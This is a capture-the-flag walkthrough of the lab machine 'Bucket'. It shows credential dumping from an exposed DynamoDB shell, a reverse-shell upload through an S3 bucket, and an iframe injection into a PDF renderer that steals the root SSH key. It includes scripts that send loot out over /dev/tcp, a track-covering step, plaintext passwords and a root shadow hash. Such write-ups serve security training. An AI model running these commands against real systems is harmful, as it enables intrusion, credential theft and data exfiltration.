Recon
- Port scan:
$ nmap -p- 10.10.10.212 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
- Targeted scan:
$ nmap -sC -sV -p 22,80 10.10.10.212 > targeted.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://bucket.htb/ Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OpenSSH 8.2p1 Ubuntu 4, Apache httpd 2.4.41
Enumeration
HTTP Enumeration
- Nmap targeted scan reveals vhost http://bucket.htb/ on port 80, add the following entry to
/etc/hosts
:$ sudo nano /etc/hosts
10.10.10.212 bucket.htb
- Website is an advertising platform for a infosec-centered marketing company.
- Found support email address:
- Found subdomain for Amazon Simple Storage Service (Amazon S3), append to entry in the hosts file:
http://s3.bucket.htb
- Found
adserver
directory from image addresses:http://s3.bucket.htb/adserver/
⚠️Optional: If the images on the website are not loading correctly, try disabling any adblocking extensions on your browser.
- Output upon visiting:
{"status": "running"}
- Enumerate subdomains with
ffuf
:$ ffuf -c -w ../Common/directory-list-2.3-medium.txt -u http://bucket.htb -H "Host: FUZZ.bucket.htb" -fc 302
- Bruteforce directory on http://bucket.htb and http://s3.bucket.htb with
gobuster
:$ gobuster dir -u http://bucket.htb -t 50 -w ../Common/directory-list-2.3-medium.txt -x .php,.html
/index.html (Status: 200)
$ gobuster dir -u http://s3.bucket.htb -t 50 -w ../Common/directory-list-2.3-medium.txt -x .php,.html
/health (Status: 200) /shell (Status: 200) /server-status (Status: 403)
- From the
/health
page we can see that a DynamoDB is being hosted through Amazon Web Services on this subdomain:{"services": {"s3": "running", "dynamodb": "running"}}
DynamoDB Enumeration
- Interacting with the DynamoDB JavaScript shell on
/shell
requires no authentication. - The shell includes the ability to download and upload scripts to be run, also has API templates availble for interacting with the database.
- Enumerating tables on the database with
ListTables.js
:var params = { ExclusiveStartTableName: 'table_name', // optional (for pagination, returned as LastEvaluatedTableName) Limit: 10, // optional (to further limit the number of table names returned per page) }; dynamodb.listTables(params, function(err, data) { if (err) ppJson(err); // an error occurred else ppJson(data); // successful response });
Output:
"TableNames" [ "users" ]
- The database has only one table, named
users
, which is commonly used to store user credentials and sometimes hashed passwords of users. - Enumerating information about
users
table withDescribeTable.js
:var params = { TableName: 'users', }; dynamodb.describeTable(params, function(err, data) { if (err) ppJson(err); // an error occurred else ppJson(data); // successful response });
Output:
"Table" { "AttributeDefinitions" [ 0: { "AttributeName":"username" "AttributeType":"S" 1: { "AttributeName":"password" "AttributeType":"S" "TableName":"users" "KeySchema" [ 0: { "AttributeName":"username" "KeyType":"HASH" 1: { "AttributeName":"password" "KeyType":"RANGE" "TableStatus":"ACTIVE" "CreationDateTime":"2021-02-01T05:19:06.086Z" "ProvisionedThroughput" { "LastIncreaseDateTime":"1970-01-01T00:00:00.000Z" "LastDecreaseDateTime":"1970-01-01T00:00:00.000Z" "NumberOfDecreasesToday":0 "ReadCapacityUnits":5 "WriteCapacityUnits":5 "TableSizeBytes":107 "ItemCount":3 "TableArn":"arn:aws:dynamodb:us-east-1:000000000000:table/users"
- Dump contents of
users
table withScan.js
:var params = { TableName: 'users' }; docClient.scan(params, function (err, data) { if (err) console.log(err); else console.log(data); });
Output:
{"Items":[ {"password":"Management@#1@#","username":"Mgmt"}, {"password":"Welcome123!","username":"Cloudadm"}, {"password":"n2vM-<_K_Q:.Aa2","username":"Sysadm"}], "Count":3,"ScannedCount":3}
- Found credential pairs:
Mgmt:Management@#1@#
Cloudadm:Welcome123!
Sysadm:n2vM-<_K_Q:.Aa2
Exploitation
- Attempt to SSH with new credentials:
$ crackmapexec ssh 10.10.10.212 -u ./users.txt -p ./passwords.txt
SSH 10.10.10.212 22 10.10.10.212 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4 SSH 10.10.10.212 22 10.10.10.212 [-] Mgmt:Management@#1@# Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [-] Mgmt:Welcome123! Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [-] Mgmt:n2vM-<_K_Q:.Aa2 Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [-] Cloudadm:Management@#1@# Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [-] Cloudadm:Welcome123! Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [-] Cloudadm:n2vM-<_K_Q:.Aa2 Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [-] Sysadm:Management@#1@# Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [-] Sysadm:Welcome123! Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [-] Sysadm:n2vM-<_K_Q:.Aa2 Authentication failed.
- None are working (including lowercase variant). The passwords seem legitimate, but the usernames may only be substitute names and are not real user accounts.
S3 Directory Traversal
- To make interaction with the DynamoDB easier, we can install the
aws-cli
utility:$ sudo pacman -S aws-cli
- Setup
aws-cli
and configure access settings, entries can be set to anything as the S3 buckets are publically exposed:$ aws configure
AWS Access Key ID [None]: samiko AWS Secret Access Key [None]: okimas Default region name [None]: us-ease-1 Default output format [None]: text
- Enumerating files on the S3 server:
$ aws s3 --endpoint-url http://s3.bucket.htb/ ls
2021-02-01 22:39:04 adserver
$ aws s3 --endpoint-url http://s3.bucket.htb/ ls s3://adserver/
PRE images/ 2021-02-01 22:39:05 5344 index.html
$ aws s3 --endpoint-url http://s3.bucket.htb/ ls s3://adserver/images/
2021-02-01 22:41:05 37840 bug.jpg 2021-02-01 22:41:05 51485 cloud.png 2021-02-01 22:41:05 16486 malware.png
- These are the images we found earlier on the main host http://bucket.htb, looks like the server hosting the S3 virtual host is also hosting the main webserver.
- Let's try to upload a reverse shell with the cp command:
$ aws s3 --endpoint-url http://s3.bucket.htb/ cp ./reverse.jsp s3://adserver
- Now, if we tried to navigate to the reverse shell on S3 subdomain normally, it won't be executed and the browser will instead try to download the PHP file. This is because the S3 bucket is only configured to host static content.
- However, since the adserver bucket is also hosting and communicating with the primary domain, we can leverage the Apache webserver on http://bucket.htb to execute our reverse shell by navigating to http://bucket.htb/reverse.php.
- The S3 webserver seems to be constantly cleaning up files, so there is only a small window between the moment the file is synchronised and before it gets deleted. We can maximise our chances by repeatedly making requests to the file with a script.
- Creating upload.sh:
#!/bin/sh aws --endpoint-url http://s3.bucket.htb/ s3 cp ./reverse.php s3://adserver/ echo "Upload successful, start a nc listener on port 6969 now:" while [ true ] do curl http://bucket.htb/reverse.php &> /dev/null echo -n "." done
- After about 30-60 seconds, we should get a shell as www-data:
$ whoami && id && hostname
www-data uid=33(www-data) gid=33(www-data) groups=33(www-data) bucket
- Navigating to the
/home
directory, we see a user by the name "roy". - Checking passwords against roy on SSH:
$ crackmapexec ssh 10.10.10.212 -u 'roy' -p passwords.txt
SSH 10.10.10.212 22 10.10.10.212 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4 SSH 10.10.10.212 22 10.10.10.212 [-] roy:Management@#1@# Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [-] roy:Welcome123! Authentication failed. SSH 10.10.10.212 22 10.10.10.212 [+] roy:n2vM-<_K_Q:.Aa2
- Looks like Roy is the sysadmin for the Bucket company, let's SSH in:
$ ssh [email protected]
n2vM-<_K_Q:.Aa2
$ whoami && id
roy uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm)
- Get user flag!
Privilege Escalation
- Roy is in the group
1001(sysadm)
, meaning he can see system logs which can contain useful information or credentials. - Checking sudo permissions:
$ sudo -l
Sorry, user roy may not run sudo on bucket.
AWS Project
- Found
/project
folder in roy's home directory:$ ls -la ~/project/
-rw-rw-r-- 1 roy roy 63 Sep 24 03:16 composer.json -rw-rw-r-- 1 roy roy 20533 Sep 24 03:16 composer.lock -rw-r--r-- 1 roy roy 367 Sep 24 03:15 db.php drwxrwxr-x 10 roy roy 4096 Sep 24 03:16 vendor
- Copy files back to local for easier access, zip up the directory:
$ tar -czvf project.tar.gz ./project/
- Now on our local machine, start a
nc
listener to receive the archive:$ nc -lvnp 6969 > project.tar.gz
- On the remote machine, send the archive back to ourselves and extract it:
$ cat project.tar.gz > /dev/tcp/10.10.14.103/6969
$ tar -xzvf ./project.tar.gz
Port 8000
- Checking for any listening ports:
$ netstat -tulnp
(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:37025 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:4566 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.53:53 0.0.0.0:* -
- Getting port 8000 response:
$ nc -lvnp 6969 > 8000.html
$ curl localhost:8000 > /dev/tcp/10.10.14.103/6969
- We can also find a seperate
/bucket-app
directory under/var/www/
, with files a lot similar to the~/project/
directory:$ ls -la /var/www/bucket-app/
total 856 drwxr-x---+ 4 root root 4096 Sep 23 10:56 . drwxr-xr-x 4 root root 4096 Sep 21 12:28 .. -rw-r-x---+ 1 root root 63 Sep 23 02:23 composer.json -rw-r-x---+ 1 root root 20533 Sep 23 02:23 composer.lock drwxr-x---+ 2 root root 4096 Sep 23 03:29 files -rwxr-x---+ 1 root root 17222 Sep 23 03:32 index.php -rwxr-x---+ 1 root root 808729 Jun 10 2020 pd4ml_demo.jar drwxr-x---+ 10 root root 4096 Sep 23 02:23 vendor
- Zip it up as
bucket-app.tar.gz
, and send it back to our local machine with the same steps above. - Looking at
index.php
, there is some interesting PHP code at the top of the file:<?php require 'vendor/autoload.php'; use Aws\DynamoDb\DynamoDbClient; if($_SERVER["REQUEST_METHOD"]==="POST") { if($_POST["action"]==="get_alerts") { date_default_timezone_set('America/New_York'); $client = new DynamoDbClient([ 'profile' => 'default', 'region' => 'us-east-1', 'version' => 'latest', 'endpoint' => 'http://localhost:4566' ]); $iterator = $client->getIterator('Scan', array( 'TableName' => 'alerts', 'FilterExpression' => "title = :title", 'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")), )); foreach ($iterator as $item) { $name=rand(1,10000).'.html'; file_put_contents('files/'.$name,$item["data"]); } passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf"); } } else { ?>
- The function does the following when a POST request with the action
get_alerts
is received:- Creates a new instance of DynamoDB on port 4566
- Scans the table called
alerts
for a title with the wordRansomware
- Prints the data of that item into an HTML file with a randomised filename
- Renders the HTML file and converts the output into a PDF file with
Pd4Cmd
- Saves the file in
/var/www/bucket-app/files/
- If we searched for the DynamoDB instance on the process listings, we see that the process is owned by root, meaning all of the code above is being executed with root privileges:
$ ps aux | grep Dynamo
root 1504 0.2 7.3 1677460 296264 ? Ssl 05:23 1:47 java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar DynamoDBLocal.jar -sharedDb -port 48727 -inMemory
- Using the
aws-cli
utility to check the localhost instance, we see that there is no table calledalerts
to begin with:$ aws dynamodb list-tables --endpoint-url http://localhost:4566
TABLENAMES users
- This means the PHP code is searching for something that doesn't exist, so perhaps we can hijack it and force
Pd4Cmd
to read sensitive data, such as the root's SSH key. - Following the
aws-cli
documentation for DynamoDB, we can create thealerts
table with:$ aws dynamodb create-table \ --table-name alerts \ --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \ --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \ --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 \ --endpoint-url http://localhost:4566
- Create a
Ransomware
item that embeds the root's SSH key in aniframe
:$ aws dynamodb put-item \ --table-name alerts \ --item '{"title":{"S":"Ransomware"}, "data":{"S":"<html><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"}}' \ --return-consumed-capacity TOTAL \ --endpoint-url http://localhost:4566
- Make a POST request to
bucket-app
on port 8000 to execute the PHP code:$ curl -XPOST --data "action=get_alerts" http://localhost:8000
- Remember, the database resets frequently at around once every minute, so we have to be fast. Let's combine them into an
aws_exploit.sh
script:#!/bin/bash # Create alerts table aws dynamodb create-table \ --table-name alerts \ --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \ --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \ --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 \ --endpoint-url http://localhost:4566 # Create Ransomware item with payload aws dynamodb put-item \ --table-name alerts \ --item '{ "title": {"S": "Ransomware"}, "data": {"S": "<html><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"} }' \ --return-consumed-capacity TOTAL \ --endpoint-url http://localhost:4566 # Make curl request curl -XPOST --data "action=get_alerts" http://localhost:8000 # Deliver the loot and hide our tracks tar -czvf /tmp/.samiko/loot.tar.gz /var/www/bucket-app/files/ cat /tmp/.samiko/loot.tar.gz > /dev/tcp/10.10.14.103/6969 rm /tmp/.samiko/loot.tar.gz
- Start a
nc
listner on our target machine:$ nc -lvnp 4204 > aws_exploit.sh
- Send the script:
$ cat aws_exploit.sh > /dev/tcp/10.10.10.212/4204
- Make the script executionable:
$ chmod +x ./aws_exploit.sh
- Start a listener on our local machine:
$ nc -lvnp 6969
- Run the script on the target:
$ ./aws_exploit.sh
TABLEDESCRIPTION 1612282007.46 0 arn:aws:dynamodb:us-east-1:000000000000:table/alerts alerts 0 ACTIVE ATTRIBUTEDEFINITIONS title S ATTRIBUTEDEFINITIONS data S KEYSCHEMA title HASH KEYSCHEMA data RANGE PROVISIONEDTHROUGHPUT 0.0 0.0 0 10 5 CONSUMEDCAPACITY 1.0 alerts tar: Removing leading `/' from member names /var/www/bucket-app/files/ /var/www/bucket-app/files/3693.html /var/www/bucket-app/files/result.pdf
- After executing the script, we should receive the
.tar.gz
archive of the/var/www/bucket-app/files/
directory, containing the root SSH key in a PDF file:$ mkdir loot && tar -xzvf ./loot.tar.gz -C ./loot
$ ls -la ./loot/var/www/bucket-app/files/
total 16 drwxr-x--- 2 samiko users 4096 Feb 3 02:37 . drwxr-xr-x 3 samiko users 4096 Feb 3 02:40 .. -rw-r--r-- 1 samiko users 65 Feb 3 02:37 7499.html -rw-r--r-- 1 samiko users 3869 Feb 3 02:37 result.pdf
- Copy the contents of the PDF to a
root_id_rsa
file:$ chromium ./var/www/bucket-app/files/result.pdf
- After setting the appropriate permissions, use
root_id_rsa
to SSH in as root:$ chmod 700 root_id_rsa
$ ssh -i root_id_rsa [email protected]
$ whoami && id
root uid=0(root) gid=0(root) groups=0(root)
- Get root flag!
Post-exploitation
- In the root home directory, we find the scripts used for the scheduled AWS resets:
$ cat start.sh
#!/bin/bash cd /root && docker-compose up -d sleep 20 aws --endpoint-url=http://localhost:4566 s3 mb s3://adserver aws --endpoint-url=http://localhost:4566 s3 sync /root/backups s3://adserver sleep 20 aws --endpoint-url=http://localhost:4566 s3 mb s3://adserver aws --endpoint-url=http://localhost:4566 s3 sync /root/backups s3://adserver
$ cat sync.sh
#!/bin/bash rm -rf /root/files/* aws --endpoint-url=http://localhost:4566 s3 sync s3://adserver/ /root/files/ --exclude "*.png" --exclude "*.jpg" cp -R /root/files/* /var/www/html/
$ cat restore.sh
#!/bin/bash sleep 60 aws --endpoint-url=http://localhost:4566 s3 rm s3://adserver --recursive aws --endpoint-url=http://localhost:4566 s3 rb s3://adserver aws --endpoint-url=http://localhost:4566 s3 mb s3://adserver aws --endpoint-url=http://localhost:4566 s3 sync /root/backups/ s3://adserver rm -rf /var/www/html/* cp -R /root/backups/index.html /var/www/html/ /root/restore.php
$ cat restore.php
#!/usr/bin/php <?php require '/var/www/bucket-app/vendor/autoload.php'; date_default_timezone_set('America/New_York'); use Aws\DynamoDb\DynamoDbClient; use Aws\DynamoDb\Exception\DynamoDbException; $client = new Aws\Sdk([ 'profile' => 'default', 'region' => 'us-east-1', 'version' => 'latest', 'endpoint' => 'http://localhost:4566' ]); $dynamodb = $client->createDynamoDb(); $params = [ 'TableName' => 'alerts' ]; $tableName='users'; try { $response = $dynamodb->createTable([ 'TableName' => $tableName, 'AttributeDefinitions' => [ [ 'AttributeName' => 'username', 'AttributeType' => 'S' ], [ 'AttributeName' => 'password', 'AttributeType' => 'S' ] ], 'KeySchema' => [ [ 'AttributeName' => 'username', 'KeyType' => 'HASH' ], [ 'AttributeName' => 'password', 'KeyType' => 'RANGE' ] ], 'ProvisionedThroughput' => [ 'ReadCapacityUnits' => 5, 'WriteCapacityUnits' => 5 ] ]); $response = $dynamodb->putItem(array( 'TableName' => $tableName, 'Item' => array( 'username' => array('S' => 'Cloudadm'), 'password' => array('S' => 'Welcome123!') ) )); $response = $dynamodb->putItem(array( 'TableName' => $tableName, 'Item' => array( 'username' => array('S' => 'Mgmt'), 'password' => array('S' => 'Management@#1@#') ) )); $response = $dynamodb->putItem(array( 'TableName' => $tableName, 'Item' => array( 'username' => array('S' => 'Sysadm'), 'password' => array('S' => 'n2vM-<_K_Q:.Aa2') ) ));} catch(Exception $e) { echo 'Message: ' .$e->getMessage(); } $result = $dynamodb->deleteTable($params);
Persistence
- Get root user's hash from
/etc/shadow
:root:$6$rvx83lCm9lfbxx/M$x56XT96DB4RIHKtx8HhObNwNNe1TBEAUZlkhhgE2Goqg.ZnbIn/VOD.T2Q0XhcTxmLmAMrjk5ad6Gsd/jgjQn/:18528:0:99999:7:::
- Clean up after ourselves and delete any residual files:
$ rm -r /tmp/.samiko/